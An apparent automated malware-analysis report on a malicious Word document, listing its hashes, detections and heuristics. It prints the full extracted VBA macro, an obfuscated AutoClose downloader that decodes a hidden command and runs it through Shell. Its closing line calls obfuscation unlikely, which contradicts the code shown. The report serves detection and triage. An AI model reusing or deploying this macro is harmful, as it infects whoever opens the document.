Doc.Malware.Emooodldr-6711604-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 a65093c35d164756…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-10
MD5: 3a58e1ecf150a64992b851b7142d895c SHA-1: 4d022d61ff4b5935a67754ecf030bba117c63128 SHA-256: a65093c35d1647563f840e42893d09809311f34c3861c2c9db479109ee31df37
282 Risk Score

Malware Insights

Doc.Malware.Emooodldr-6711604-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as a malicious Office document by ClamAV, containing VBA macros. The AutoClose macro is present and utilizes the Shell() function to execute a payload. The VBA script reconstructs a string which is then passed to Application.Run, indicating it's designed to download and execute a secondary malicious component.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2067 bytes
SHA-256: 655b4822b49c73fe43bda4905cf3063cf5a777ceca37e28cbb17a64d913ee535
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function guide(uncuth)
  mephistopheleanly = Array("e", "4", "Y", "g", "O", "d", "m", "8", "k", "a", "t", "6", "s", "c", "E", "C", "2", "W", "j", "v", "J", "A", "K", "I", "3", "b", "")
  arrangement = Array("d", "?", "R", "=", ":", "c", "j", "s", "/", "G", "o", "h", "x", "u", "p", " ", "r", "t", ".", "n", "q", "z", "w", "P", "e", "m", "a")
  
  dephlogisticate = vbNullString
  
  For Each outfields In uncuth
    heterotrichales = unchristian(outfields, mephistopheleanly)
    If heterotrichales > -1 Then
    dephlogisticate = arrangement(heterotrichales) + dephlogisticate
    End If
  Next
  
  guide = StrReverse(dephlogisticate)
  
End Function

Public Function unchristian(faussebraie, semidomes)
  bilic = 1442
  retrack = 9282
  For bilic = 0 To UBound(semidomes)
    If semidomes(bilic) = faussebraie And bilic > -1 Then
     retrack = bilic
    End If
  Next

  If retrack = 9282 Then
    retrack = -1
  End If
  
  unchristian = retrack
End Function


Sub AutoClose()
  uncuth = Array("b", "8", "6", "W", "", "j", "3", "s", "3", "C", "6", "W", "W", "E", "O", "k", "k", "t", "m", "A", "", "8", "e", "c", "J", "v", "K", "e", "K", "e", "J", "e", "J", "e", "j", "d", "t", "b", "k", "Y", "I", "a", "k", "8", "3", "3", "e", "j", "E", "6", "E", "4", "c", "W", "b", "", "g", "8", "W", "", "2", "W", "")
  yuppieish = guide(uncuth)
  
  Application.Run "conclusional", (yuppieish)
  
End Sub


Private Sub conclusional(girliest)
   
   pundits = 16202
   dollarize = True
   
   While dollarize
     yessing = pundits + 92
     If yessing - pundits > 1 Then
       oestruses = stemmatiform + "ll"
       Call VBA.Shell(girliest, vbNormalFocus - 1)
       dollarize = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 7d6d80130494fd02babc236e43afbb9dde91fdac5720a2836a002a36308e8995
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely